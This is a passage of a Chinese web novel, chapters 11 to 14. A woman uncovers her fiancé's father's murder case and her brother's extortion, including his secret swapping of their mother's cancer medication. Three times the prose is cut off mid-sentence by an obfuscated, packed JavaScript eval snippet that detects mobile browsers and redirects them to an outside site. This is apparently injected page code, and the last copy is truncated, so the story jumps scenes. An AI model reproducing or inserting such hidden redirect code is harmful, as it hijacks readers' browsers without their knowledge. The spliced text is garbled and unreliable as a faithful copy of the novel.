习蔓菁定定地注视着病床上的独子,精心保养的面庞依然像个三十多岁的妇人。她起身将季腾过长的鬓发别至耳后,后者似乎感觉到了什么,喉咙里无意识地发出了咕噜噜的声音。 那种奇怪的,像是某种未开化的生物的咕哝声吸引了魏芷的注意力。 她抬头的时候,习蔓菁正单手握在病床围栏上,静静地俯视着季腾,苍白而没有活气的脸上,露出了一抹笑意。 在这样冰冷的氛围下,那笑容却透露出一丝不自然乃至毛骨悚然的感觉。 滴答,滴答。 墙上的挂钟机械地走动着,每一声都清晰可闻,就像极北之地洞穴深处,冰凌尖端上水珠坠落的声音。时间在此刻变得格外沉重,每一次响动都在空气中划出一道道无形的裂痕。 滴答。 习蔓菁转过头来,直直地望向魏芷。那一刻,她脸上的笑容彻底消失,只剩下一片空白,就像是被冻结在永恒之中的面具。 滴答。 11.第 11 章 “你自己可以回去吧?”季琪琨握着方向盘,对她笑道,“我还要去画廊处理一点事情,等完事就回来。我们一起吃晚饭。” 季琪琨吻了吻她的脸颊,然后在小区门口将她放了下来。 魏芷目送着添越远去后,没有立即走入小区,而是在小区外的花坛边坐了下来。 她再次拿出牛皮纸袋里的文件查看,怎么看都不得其解。 不得已,她拿出手机,拨通了许久没有拨打过的王琳的电话号码。 电话只响了一声就被接了起来,王琳紧随其后的惊喜声音,让魏芷眼前浮现出她在杂货铺里满脸喜悦和忐忑的脸。 “你和他的网贷现在还欠多少?”魏芷挥去脑海中的想象,开门见山道。 “你怎么突然问这个?”王琳迟疑。 “回答我的问题,否则我就挂了。” 魏芷的威胁一出,王琳连忙给出了答案。 “是四十多万……大概是四十多万。我们一人欠了二十多万。” 从她不自信的语气来看,自逾期以后,他们两人都破罐子破摔,许久没有查看过自己的贷款信息了。 这几年,光魏芷记得的,警察就来过她家八次,每一次都是为了驱赶暴力催收的社会人员,魏杉也几次因为欠债不还,被催收的人蒙袋子狠狠打过。 但到底是法治社会,除了泼点红漆,暗地里揍揍人以外,催收人员也不敢弄出人命。虽然已兴起裸贷,但好在王琳有杂货铺可以担保,魏杉有房产可以担保,魏芷也有稳定工作,谁也没走到裸贷那一步。 因此,日子虽然难堪,但勉强过得下去。 “你们没还过?” “这……这哪里有钱来还……”王琳慌张地说,“小芷,你不会是想要帮家里还贷吧?你有钱的话把自己的贷还了就行了,不用管爸爸妈妈,妈这里也在努力为你凑钱……” “没其他事了,挂了。” 魏芷狠下心来挂断了电话。王琳之后又马上打了过来,依然被她挂断。如此两次后,王琳终于放弃了。 魏芷起身走到路边,拦下一辆空出租,开门坐了进去。 “去哪儿啊?”乐呵呵的中年司机扭头问道。 他的生活一定很平静美满吧。魏芷看着他的脸,不禁心生羡慕。 “去征信中心。”她说。 …… 征信中心只有稀稀拉拉的几人在办理业务。 魏芷要办的业务在自主柜台也能办理。她放上自己的身份证,选择了查询征信。 她一共借了十三家网贷,其中纳入征信的有四家,贷款金额和时间都是准确的。在查询记录概要中,显示了她被查询的次数。其中本人查询一次,也就是这一次。其余金融机构的查询有数十次,想要知道季钟永是拜托哪家金融公司调取的征信报告很难。 既然征信中心的记录没有问题,问题就应该出自季钟永获得信息的渠道上。 是谁在帮她?目的又是什么? 魏芷退出登陆的系统,收回身份证走出征信大厅。 门外艳阳高照,八月末的太阳威力更甚,被烈日照到的地方,一切都反射着白晃晃的光。魏芷抬脚走进刺目的阳光下,皮肤上依然带着征信中心的寒气。 她回到家时,季琪琨还未回来。 魏芷走到开放式厨房的中岛前,开火烧了一壶水,然后从橱柜里拿出自己的马克杯,往里倒了一包速溶黑咖啡。 等待水烧开的时间是无聊的。 独自一人身处上满锁的房间,好奇心也会更加旺盛。 卧室隔壁的房间应该是书房,魏芷搬过来以后,季琪琨曾在那里加过班,她听到过里面传来的敲击键盘的声音。 她走到那扇房门前,唤醒了密码锁,试探着先后输入季琪琨和自己的生日,都失败了。再输入卧室的密码,同样如此。 魏芷担心第三次输入错误会造成一些后果,放弃了尝试。 几次数字输入,让她想起了在那张相册上看见的日期,1991年。那时候季琪琨大概五岁,他的家庭尚还完整。 季琪琨很少说起他的父母,单纯只是因为太早失去他们吗? 怀着某种疑惑,魏芷坐在了客厅的沙发上,在手机上输入了照片背后的名字。 季谦蔚—— “我父亲在我八岁的时候,因肇事逃逸进了监狱,或许是不堪狱中的折磨,半年不到他就自杀了。”季琪琨是那么说的。 出现在搜索页面上的,却是截然不同的东西。 “杀妻碎尸冲马桶,季谦蔚面对镜头谈笑风生。” “自称爱妻子、临时起意杀人的季谦蔚,多次翻供还要求精神鉴定。” “江都杀妻案迎来结局,季谦蔚畏罪自杀。” 烧水壶正在炉子上将开未开,细密的水泡翻腾的声音柔和而静谧,蓝紫色的火苗时不时窜出壶底,舔舐着水壶边缘。火苗下,隐有焦黑痕迹。 魏芷点进最后一篇报道,找到了死亡原因。 “当日凌晨3点左右,季谦蔚用打湿的卫生纸捂住自己的口鼻,一个小时后被工作人员发现异常,但已窒息身亡。” 她看得太过入神,以至于没有发现大门的密码锁悄然无息地打开了。 直到一只冰凉的手从身后抚上了她的脖颈,指尖划过皮肤,虎口扣上脆弱的命脉,那只手只是静静地扣在那里,并没有用力,依然让魏芷浑身汗毛倒竖。 有一个人,紧贴着沙发站在她的身后。 魏芷僵硬不动,皮肤上冒出了一片鸡皮疙瘩。 “你已经知道了啊。”季琪琨的声音,一如既往的温柔和平静。 燃气炉上的烧水壶忽然发出了尖锐的声响,沸腾的水波在壶中冲撞。 季琪琨的手离开了她的脖子,仿佛只是一个寻常的抚摸。 魏芷立即起身看向他,季琪琨关掉了火,提起烧水壶,将滚烫的热水缓缓倒入马克杯中。清澈的白水混合了杯中的咖啡,迅速变得黝黑。独属于黑咖啡的苦涩气息充斥着寂静的房间。 “家里有饮水机,你怎么还是用水壶烧水?”季琪琨温声道。 “……我习惯了自己烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600357|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。” “饮水机烧水更安全。” 季琪琨端着马克杯走回客厅,将热气腾腾的杯子递给她,笑道: “……安全最重要。” 他的话语,意味深长,魏芷一时不知如何回答。 她沉默地接过马克杯,里面的开水让马克杯的杯体也变得温热。分明是熟悉的黑咖啡的香气,魏芷此刻却只闻到了入骨的臭气。 杀妻。 碎尸。 冲马桶。 那扑鼻的腐尸臭气和下水道恶臭,仿佛已经灌满了整个空间。 “你怕我?”季琪琨看着她。 “不。”她条件反射地说出迎合他的话语,连自己都未曾料到,“我不怕你。” “那你生气吗?因为我瞒着你?” 魏芷迟疑了。 “那就是生气了。”季琪琨牵过她的手,他的体温一向偏低,此刻更甚。 他拉着她的手,让她和他一起坐在沙发上。 面对面的时候,魏芷更能清楚看到,季琪琨的脸上没有丝毫因为撒谎暴露而引起的慌张和歉意。那张脸上,除了优雅平和的微笑,空空荡荡,什么都没有。 “我没告诉你真相,是因为我知道这会吓到你。”他说,“因为你还不成熟,做事也很冲动。你看,你现在已经被吓到了。” 魏芷想要说点什么,刚一张口,季琪琨已经接着说道: “我瞒着你,也是不想你因此对我感到害怕,破坏了我们之间的感情。你如果答应我,理智看待这件事,我就把之前的事全都告诉你,好吗?” 季琪琨的谆谆善诱好像恶魔的蛊惑,他虽是在请求,但并不允许拒绝。 “……好,我答应你。”魏芷说。 季琪琨露出了微笑,他继续说道:“我八岁那年,父亲的确入狱了,但不是肇事逃逸。就像你在新闻上看到的一样,他做了不可原谅也无法挽回的错事,他让我一次失去了两个亲人。虽然他已经以死谢罪,但知道这件事的人,都不免用有色眼镜看我。我不想让你知道真相,也是因为这个原因。” “但他是他,我是我。不是说我们有血缘关系,我们就会做一样的事情。我永远不会做那样的事情。小芷,你相信我吗?” “……我当然相信你。” “我一直觉得,如果世上有人能给理解我,那最有可能就是你。因为你最清楚,父母的罪责不该由子女来承担。”他定定地注视着魏芷的双眼,“如果当初没有申请到助学贷款,你父亲连大学都不肯你去读。拥有那样的父母,你却依旧坚强地长大成人了。” “我的父亲虽然犯下了可怕的罪责,但我付出了我的全部来爱你。我是那么爱你,愿意从残酷的世界手中保护你。” “你和我,都恰好证明了家庭中的每一个人都是独立的个体。” 他抚上了魏芷的脸庞,眼中露着深情。 “知道了这些,你还愿意和我结婚吗?” 唯有这个问题,根本用不着思考。 无论前方是刀山还是火海,她都必须前进。 12.第 12 章 “既然我们已经要结婚了,你还要防着我吗?”魏芷问。 “防着你?”季琪琨笑了,“小芷,我什么时候防过你?” “那些上锁的房间,你不打算对我开放吗?”魏芷轻柔而略带委屈地说。 “你说那些房间啊,可以啊,我把密码都告诉你——除了书房。”季琪琨微笑道,“这是出于对工作负责的考虑,毕竟我有很多工作都是带回家处理的。” 不等魏芷说话,他已经从沙发上站了起来,右手伸向魏芷。 “来吧,你不是好奇那些房间是什么吗?” 魏芷握住他的手,站了起来。 季琪琨牵着她,从最远的一间上锁的房间开始。他当着她输入密码,然后拉她走入了那间漆黑无光的房间。 一股略带化学药剂气息的冷空气扑面而来,仿佛这空间自成一个小气候,与外界完全隔绝。季琪琨打开了墙上的开关,灯光亮起,但并非白炽灯。 房间内部被漆成了深灰色,吸光而不反光,仅有的光源来自一盏红灯,它悬挂在天花板中央,散发出微弱而稳定的光芒,将一切都笼罩在一层朦胧的红晕之中。 四周摆放着各式各样的设备:显影槽、定影槽、放大机以及晾干架等,角落里堆满了未使用的相纸盒和化学品罐子,它们静静地排列在那里,表面偶尔反射着红色灯光,给人一种莫名的压迫感。空气中弥漫着淡淡的酸味,那是定影液特有的气味,混合着些许湿气,让人呼吸沉重。 工作台占据了房间的一侧,上面整齐地摆满了工具与配件。几把精细的镊子、量杯以及各种尺寸的裁剪刀具井然有序地放置在一旁,旁边则是几个盛有不同液体的小盆,液体表面平静无波,映照不出任何倒影。整个空间内没有多余的装饰或色彩,只有一片灰暗和寂静,仿佛时间在这里停滞了流动,只剩下机械式的操作与等待。 “这是……”魏芷走入其中,难掩惊讶。 “这是我自己的暗房。”季琪琨倚在门边笑道,“在这个数字化的时代,很多人可能难以理解为什么我还要坚持使用传统的暗房技术。对我来说,摄影不仅仅是捕捉瞬间的艺术,更是一种创作艺术的过程。” “我能看看你的作品吗?”魏芷好奇道。 “好啊。” 季琪琨轻易答应了,从墙边的柜子顶部拿下一本相册递给魏芷。 在昏暗的光线中,魏芷翻开相册,里面全是对画廊艺术品的拍摄。 “在暗房里,我可以亲手控制每一张照片的显影过程,从曝光时间到化学药剂的比例,每一个细节都直接影响着最终作品的效果。这种对光影和质感的细腻把握,是数字处理所无法完全替代的。” “原来还有这种讲究,我对摄影一窍不通……” “你感兴趣的话,我可以教你。”季琪琨温柔道,“下个休息日怎么样?” 暗房参观完之后,季琪琨重新关上房门,带魏芷前往她最在意的房间——主卧隔壁的房间。 这一次,季琪琨有意挡在她前面,遮住了密码的输入。 门开后,里面果然是个书房的构造,开阔的落地窗,入墙的大面书柜,摆在中间的书桌和电脑,还有角落的保险箱。 一开始,魏芷还疑惑电脑为什么会朝向枯燥的墙壁,而非落地窗外蔚蓝的天空。等她走入房间后,才发现电脑正对的那面墙上挂着一幅巨大的油画。 画中是一位身着轻盈长袍的长发天使,她的姿态显得脆弱而不安,一只手轻轻搭在胸前,另一只手无力地垂下,指尖微微蜷曲。袍子的颜色从纯白渐变到灰暗。身后的翅膀半透明,边缘有些许破损,羽毛间透出微弱的光芒和挥之不去的幽暗。 她的脚下是一片广阔的花海,但这些花朵很多都已经枯萎凋谢。地面上散落着无数花瓣,有的还保留着些许鲜艳的颜色,有的则完全干枯,露着病态的褐色。几朵尚未完全凋零的花朵呈现出摇曳的姿态,仿佛能嗅到最后的芬芳。 整张画上都是深邃的蓝灰色和淡淡的紫罗兰色,给人一种幽暗而忧郁的感觉。背景是一片模糊的天空,云层厚重且略带扭曲,仿佛整个世界都沉浸在一场永无止境的黄昏之中。 魏芷看到,在画面右下角,有一个小小的金色留名。 “梅”。 “这是我最喜欢的画。”季琪琨见她看入了神,主动说道,“虽然画家并不出名,但我更在意画作本身带给我的感受。” “……这幅画,有名字吗?” “天使的黄昏。” 魏芷怔怔地看着这幅画,其中的压抑和悲伤压倒了她,她难以言说此刻的内心感受。 “你现在明白了吧?我没什么好瞒着你的东西,把这两间房间锁起来,是为了我的工作方便。”季琪琨说,“如果你在家需要办公,客厅还有笔记本。” 季琪琨把话说到这里,魏芷也没有抗议的理由。她最后看了一眼墙上的画,跟随季琪琨走出了书房。 …… “魏芷,又有人找你。”小蔡把电话搁在隔间顶部,若有所思地看着她,“最近找你的人挺多啊。” 魏芷敷衍地笑了笑,接起电话。 “喂?我是魏芷。” 保安谭孟彦低沉的声音从另一端传来。 “你弟弟来找你,在画廊门口。” 魏芷心头一跳,猜到魏来找她肯定没有好事。 “……我马上来。” 片刻后,魏芷急匆匆地走出画廊大门,谭孟彦高大的身影正站在保安亭外,前方是被拦了下来的魏来,正一脸不满地大吵大闹。 “你知不知道我是谁?你拦我?活腻了吧!我让我姐夫今天就开除你!” 魏来作势又要往里冲,再次被穿着保安制服的谭孟彦拦了下来。 魏来难以置信地瞪着谭孟彦,后者丝毫不受威胁影响,依旧面无表情地看着他。 “魏来!”魏芷快步走到魏来身前,“你来做什么?” “我来找你啊。”魏来说理直气壮地说。 “谢谢你,我带我弟弟去旁边说话。”魏芷对谭孟彦说。 谭孟彦看了眼魏来,一声不吭地走了。 “过来!”魏芷沉下脸说。 她往画廊旁边的小巷走去,魏来死猪不怕开水烫地跟了过来,双手揣在兜里,一脸无畏。 在到处都是垃圾和积水的肮脏小巷里,魏芷对魏来说:“说吧,你来干什么?” “弟弟来找姐姐不行啊?” 魏芷厌恶地皱起眉。 “有话快说,不然我走了。” “给我六千块,我要买个新手机。” “我为什么要给你买?前不久季琪琨不是给你买过吗?” “你有脸说!”魏来面露怒色,遗传了魏杉的突眼激动地一瞪,“我告诉你,不管你给姐夫说了什么,让他连我们家的电话都不接了,但只要你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600358|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换不了血,你就永远别想摆脱我们!给我六千,不然我就把你负债百万的事情告诉姐夫——你肯定没把这事儿跟他说吧?你这叫不叫婚前欺诈啊?” 魏来的脸上满是赤裸裸的恶意。 “我不好过,你们还会好过吗?”魏芷强忍怒火,咬牙挤出声音。 “那不好说啊,毕竟你连电话都不接我们的了,谁知道以后还会不会认我们?但血缘这东西啊,不是你不认就不存在的。”魏来笑嘻嘻道,“你生在我们家,要么我们一起上天堂,要么——” 他脸色一变,恶狠狠地说:“我们一起下地狱。别想着丢下我们一个人去过好日子,不可能的!” “我都负债百万了,还有钱给你吗?”魏芷说,“我没那么多钱。” “我不管那么多,这次是爸叫我来的,只要我要到钱了,他就答应给我买个新手机。你要是不给,下次就是爸亲自来要了——他可没我脾气那么好。到时候,你这工作,还做得下去吗?”魏来威胁地笑着,有意看了一眼两层的画廊。 魏芷盯着他的双眼,沉默许久后,忽然笑了。 “你们都不怕丢脸了,我怕什么?” 她转身欲走回画廊。 魏芷在赌,赌魏来和魏杉有没有决心和她鱼死网破。失去季琪琨这棵摇钱树,意味着失去生活希望的,不止她一人。 她的心跳很快,因为她自己也不知道赌对没有。 “你今天不给钱,今天我就回去扔了妈的药!” 魏芷猛地停下脚步,勃然大怒地看向他。 “你说什么?” 见她停下脚步,魏来露出了得意的神情。原本有些惊慌的姿态,也重新变得悠然起来。 “你知道自己在说什么吗?那不仅是我的妈,也是生你的妈啊!” “那又怎么样?谁让她从小就偏心你!”魏来怒声道,“每次爸打我们,她第一个护的就是你!每次我们吵架,她也只会拉偏架!她的心里只有你,我扔她的药又怎么了!” 魏芷忍不住给了他一巴掌。 魏来的头被打得偏了过去,如果是在家里,他一定立即就还手了。但现在,他只是扭曲了五官,险恶的表情从脸上一闪而过,而后抬起头,冷笑着看向魏芷。 “你是因为给妈买药才背上网贷的吧?我私下查过那个药了,很贵呢。你说,如果我告诉妈,这个药的真实价钱,她还会吃药吗?这样一来,我甚至不用亲自动手扔药。” 魏芷像是第一次见到这个陌生人,她目不转睛地看着他。 那双酷似母亲的眉眼,让她想起了很久以前的事。 在最初的最初,她和魏来还没有水火不容的时候,每次挨打,姐弟俩都是互相掩护。即便是冬天,挨打之前,魏杉也会特意叫他们脱至单衣。 那时候,她蜷缩在墙角,比她还小个的魏来努力用身体保护着她。 “姐姐……呜呜,你疼不疼啊?”挨打之后,魏来总是会用碘酒先处理她的伤口。他一边用棉签小心擦拭被打破的创口,一边哭着对她说:“呜呜呜……姐姐,你别怕,等我长大了,我就能保护你了。” 那时候,虽然很痛,但并不觉得冷。 “我给你一分钟的时间考虑。” 魏来站直了身体,笑着看着魏芷,那一瞬间,魏芷好像看见了手握皮带,狞笑着看着他们的魏杉。 比起愤怒,她心中更多的是无边无际的冷。 13.第 13 章 魏芷一动不动坐在三诊室外的长椅上,等着叫号系统喊出她的名字。 精神卫生中心的大厅宽敞而空旷,墙壁被漆成了冷淡的灰白色,光线从高高的天花板上的荧光灯管洒下,地面上的瓷砖反射出冷冷的光泽,每一步脚步声都在这寂静的空间中回荡,如同石子投入静谧的湖面。 魏芷的四周散布着几排座椅,大多数都空无一人,只有少数几位患者或家属静静地坐着,他们低垂着眼帘,仿佛与外界隔绝。空气中弥漫着消毒水和清洁剂的气味,混合着一种难以言喻的压抑感。偶尔有人低声交谈,但声音很快就被四周的寂静吞噬,不留一丝痕迹。 远处的护士站前,几名医护人员穿着整洁的制服,表情严肃而专注,他们的动作迅速而机械,像是在执行某种精确的程序。走廊尽头的一扇玻璃门不时轻轻开启,带进一阵微弱的风,但很快又被自动关闭,恢复了之前的沉寂。 魏芷通常不会对来这里的人过多关注,就像她也不想在这里的时候被其他人观察一样。但今天,一个男人进入了她的视线。 因为对方好像是一个警察。 他背对着自己坐在前两排的长凳上,虽然身着寻常服装,但他对着电话说话的声音却隐约传入魏芷耳中。 “……李猛在云南出现了?你们抓到了吗?” “……行……一旦落网……” 他电话还没打完,四诊室内忽然传来激动的大吼大叫和东西摔落的声音,虽然伴随着医生的安抚和喝止,但情况没有丝毫好转。 在诊室外等候的人纷纷朝这里看来,不远处的护士站,几名护士快速跑了过来,剩下一名拿起电话,似乎想要呼叫安保。 “……有新情况立即告诉我。” 魏芷看着男人挂断电话起身,大步走进了四诊室。 似乎有什么东西被按到了桌上的声音,与此同时四诊室里面的嘈杂声停止了。赶来的护士停留在门口,过了一会,忿忿不平的病人和他的家属走了出来。 “请张开阳到精神心理科四诊室就诊。”叫号系统机械的声音在小范围内响起。 那个男人没有从三诊室里面出来。 魏芷不知为何记住了他的名字,或许是因为她没想过,会在这里遇到警察。 “请魏芷到精神心理科三诊室就诊。” 叫号系统的声音响起,魏芷起身走进了三诊室。 “你好,请坐。”李医生看到魏芷,露出了温和的微笑,“最近怎么样?有没有什么新的感受或变化?” 李先国满头白发,姿态安定地坐在椅子上,外穿着一件整洁的白大褂,桌上摆放着一些文件和笔记,一切都显得井然有序。 “我的药吃完了。”魏芷说。 李先国已经多年接诊魏芷,对她的处方了然于胸。他一边操作电脑为她开药,一边说道: “药物只是一个辅助的作用,你的心理感受也很重要。你和家人的相处怎么样了?” 魏芷沉默一会,说:“……比以前好多了。” “是么?家庭关系的改善对于你的情绪稳定非常重要。”李医生笑道,“具体是哪里好多了?” “我开始理解他们了。”魏芷说,“每个人都会犯错,因为认知的局限,他们甚至意识不到自己在犯错。如果强求他们的幡然醒悟,只会将自己困在痛苦的牢笼。受折磨的,只有自己。” “非常好。”李医生欣慰地笑道,“你只要认识到这一点,你的心就能获得自由。” 李医生为她调整了药量,再次开具处方。等离开三诊室后,魏芷从四诊室门前路过,有意看了一眼里面。 那个警察已经不在了。 …… “你弟弟来找你了。” 当谭孟彦再一次在电话里通知她时,魏芷的心里竟然没有丝毫吃惊。 距离他上次从她这里拿走六千块才过去两周,这一次,他开口就是一万。 站在画廊旁边的小巷里,魏芷看着眼前的人, “……你觉得我能去哪儿给你借一万来?” “姐夫这么有钱,你一万都拿不出来?别搞笑了。”魏来把他的新手机揣进兜里,“你随便找个理由——就说你要去做美容,这一万块不就来了吗?姐夫又不是那种小气的人!” “你上次还说,是最后一次找我要钱。” “上次是爸让我来要的,这次才是我自己给自己要。你每个月给我一万,我保准不来打扰你。我还会帮你在姐夫面前打掩护,绝不让他知道你欠债的事情!” “每个月一万?”魏芷不怒反笑,“你直接去找季琪琨要吧。” “你不怕我跟姐夫说你欠债的事情?” “大不了一起逾期,一起下地狱。”魏芷说,“不就这样而已吗?” “好,你不怕逾期,那你连妈的死活也不管了吗?” “魏来!你不要太无耻了!” “无耻的是谁啊?”魏来同样也激动起来,“是你先丢下我,一个人去过好日子的!你在外边陪男人吃香喝辣的时候,想过我的感受吗?是,爸现在不敢打你了,那你想过替你挨打的人是谁吗?!” 魏芷气急攻心,一时说不出话来。 “你到底给不给钱?” “我说过,那是最后一次。” 魏芷转身就走,魏来一个跨步挡在她面前。 “让开!”魏芷怒声道。 “你不给是吧,那我就实话告诉你。”魏来冷笑道,“其实你一直以来买给妈的那个药,早在两年前就被我换成了便宜的仿制药。” 魏来的声音很平静,但于魏芷却如同晴天霹雳,她摇晃了一下身体,无法置信地看着魏来。 “你说……什么?” “我也没办法啊,要还网贷,又找不到工作。”魏来理直气壮,毫无羞愧之意,“伊马替尼两万一一盒,同样效果的仿制药只要四百三一盒。妈吃贵的病情也没有好转,说明那贵的也没什么用——” “不过,我也不是那种没良心的人,我每个月会交两千块生活费给妈。” 一股无法抑制的愤怒从魏芷心底涌起,如同火山爆发前的熔岩,在她的胸膛里翻滚、沸腾。 她的眼睛瞪得大大的,几乎要喷出火来,但她却一句话也说不出来,只觉得喉咙被无形的手紧紧扼住,连呼吸都变得困难。 “你……不是说,那是你兼职做客服挣的钱吗?” “做客服能挣几个钱?”魏来不以为意。 魏芷的声音颤抖着,每一个字都像是从牙缝中挤出来的一样:“你怎么能这么做?妈的命在你眼里就那么不值钱吗?” 她的眼泪在眼眶里打转,但她强忍着不让它们落下。她不想在这个无耻的人面前表现出任何软弱。愤怒和痛苦交织在一起,让她整个人都在颤抖。 “你知不知道,那些药对妈有多重要?你知不知道,我为了给她买这些药,付出了多少努力?” 魏芷的声音越来越高,但音量却很小,仿佛是从喉咙深处挤出来的嘶哑低语。她的声音中充满了愤怒,却又带着一种压抑的理智,仿佛在极力控制自己不爆发出来。 “你为了满足自己的欲望,就把妈的生命当作儿戏!” “你怎么能这么做?你怎么能这么无情?”魏芷的声音依然尖锐而低沉,每一个字都像是从心底最深处挤出来的,充满了痛苦和绝望。 “如果有选择,我也不想用这样的钱。”魏来冷冷地盯着魏芷,“所以,只要你每个月给我一万,我就答应你,再也不换妈的药。” 魏芷感到一种前所未有的无力感,她想冲上去狠狠地给魏来一巴掌,但最终还是克制住了自己。因为她还记得自己的身份,记得自己身处何处,记得她正在做的事情——容不得一丝疏忽。 她咽下了所有苦痛和泪水,强迫自己恢复了无表情的面容。 “……我需要时间筹钱。” …… 时隔多日,魏芷再一次回到魏家。 因为季琪琨不一定会同意她回家,而且他恰好今天去参加艺术博览会不在画廊,魏芷没有请假就直接早退了。 反正同事眼中她早就是一个会无故早退的人,也不差这一次半次。 熟悉的小巷深处是熟悉的魏家小卖部,王琳坐在门槛后的小椅子上,正戴着老花镜在满是裂纹的旧手机上看剧。 魏芷看见她的那一瞬间,喉头就哽塞了,一股强烈的酸涩淹没了她的胸口。 在她出声之前,王琳已经因为她的脚步声抬起了头,看到站在小巷里的魏芷,她露出了不敢相信的表情。 “小芷……你回来了?”她急切地站了起来,眼中迸发出喜悦的光芒,“你吃过饭没有,妈给你弄点?” 魏芷在小卖部门前停下脚步。 “不用麻烦了,我只是回来找你说说话。” “是吗……”王琳脸上闪过一丝失望,但立即就被笑容掩饰了,“那妈给你拿瓶可乐吧!” 王琳从柜台上拿起一听可乐,在递给魏芷之前,先用干净的毛巾把罐子擦了又擦,直到崭新发亮,才讨好地递给魏芷。 她没接。 王琳的手悬在半空,脸上的笑容有些不安。 “我给你买的药呢?”魏芷问。 “在呢。” 王琳面露疑惑,虽然不知道魏芷的意图,但还是放下了手中的可乐,回身去了木门后的里屋。再过了一会,拿出了一个维生素的药瓶。 魏芷接过药瓶拧开,里面是和伊马替尼极为相似的白色药片。 “为什么是这个瓶子?原装药盒呢?” “药盒放着占地方,我就换药瓶装了。” “是谁跟你说药盒放着占地方?魏来吗?” 王琳惊讶地望着她。 “你吃着这个……没有感觉任何不对吗?”魏芷紧紧握着药瓶,用变了调的声音一个字一个字地挤出话语。 “妈生病了,感觉不舒服也是正常的呀,和药没关系。”王琳笑道。 “你眼中什么东西都是正常的,究竟什么不正常呢?我吗?!” 她的声音突然高亢起来,每一个字都像是从喉咙深处爆发出来的嘶吼,充满了压抑到极致终于爆发的悲痛。她的声音颤抖着,带着一种近乎疯狂的质问: “你知不知道,你吃的这些药,早就被你亲爱的儿子调换过了!” 王琳愕然地望着她,嘴唇翕动了一下。 “他……怎么会?这里面有什么误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王琳泣不成声地看着眼前陷入崩溃的女儿,她的手指不自觉地抹过脸颊,试图擦去那些不停流淌的泪水,但很快又有新的泪水取而代之。 那一刻,在她眼前浮现出的是被她早已埋葬的过去的自己。 为了让弟弟读书,被父亲逼着辍学的自己。 被家里用两千元卖给同村的小混混魏杉,跪在父母面前哀求的自己。 约好和恋人私奔,对方却临阵脱逃,最后独自在火车站被家里人抓住的自己。 “你再敢跑,我就打死你妈!” 父亲身上的汗臭,手中带血的棍棒,还有充血肿胀的双眼,一切都让她恐惧。而母亲,只是在一旁默默抹着眼泪。 她被母亲囚禁,为了保护母亲成为又一个母亲,而她的女儿,因为她踏上了同一条路。 “我只是……我只是……”王琳说不出完整的一句话来,因为麻木一旦被打破,沉积几十年的痛苦就向她一并涌来。 她只是,放弃了自己的人生。为了逃避人生的巨大痛苦,她将自我泯灭,剩下的只有“魏杉的妻子,魏芷魏来的母亲”这一个身份。 只有亲手杀死自己,才能从痛苦中隔离。 如果不这样做,她就无法生存。 她只是没有想到,连她自己都放弃的人生,女儿还在岸上拼命向她伸手。 “对不起……对不起,小芷……妈错了……” 魏芷木然地看着流泪不止的王琳。 “这是我最后一次问你,你是要跟我一起走,还是继续留下来?” …… 魏芷走了,答应第二天早上八点就来接她。 王琳有生以来第一次天还没黑就关上了小卖部的卷帘门,即便这如果被打牌回来的魏杉看见,会免不了一顿好打。 这对现在的她来说,已经不值得恐惧了。 小卖部前,她茫然不安地问: “我离开这里,能去哪里?” “你先和我住一起,我再慢慢给你找房子。” “琪琨同意吗?” “他不同意我们就出去住。”魏芷说,“只要我们在一起,什么困难都能撑过去。” “可是药钱太贵了……你已经欠下那么多钱……” “没关系,你相信我。我有办法弄钱还清欠债。” “小芷,你老实告诉妈,你是不是为了钱,才和季琪琨在一起的?” “……有区别吗?” 她无法忘却,女儿眼中破釜沉舟的坚决。魏芷说她为她牺牲了一生,但王琳心里比谁都清楚,魏芷牺牲的,比这还要多得多。 她坐在小卖部里,慢慢地翻着一本相册。一根电线吊着灯泡变色发黄的钨丝灯,昏黄的光线闪烁在逼仄的空间里。 相册里,魏芷从小小的一个婴孩,长成了如今亭亭玉立的模样。 眼泪一滴滴落在相册的透明塑料膜上,王琳微笑着擦了又擦,泪水却越来越多。 她是一个称职的女儿,她却不是称职的母亲。 但唯有爱她胜过生命一事,无论从前还是以后,都不会有任何改变。 14.第 14 章 魏芷打开家门,看见了本应该还在参加艺术博览会的季琪琨。 他背对着魏芷靠在客厅的皮沙发上,面对着一整片宽阔的落地窗,雾一般不可捉摸的白云环绕四周。夕阳透过纤尘不染的玻璃,斑驳地洒在他的身上。听闻开门的声音,他转过身来,处变不惊地对她露出了没有温度的微笑。 “……你这么早就回来了?我还以为博览会要开很久。”魏芷迅速镇定下来,笑道,“吃饭了么?” “还没吃,你呢?” “我也没吃,正好一起吃吧。”魏芷放下提包走向厨房的中岛,“我看看冰箱里有什么,随便弄点。” “你没有什么要对我说的吗?” 魏芷停下脚步,转身看向季琪琨。 他从沙发背后走出,缓步迈向魏芷。 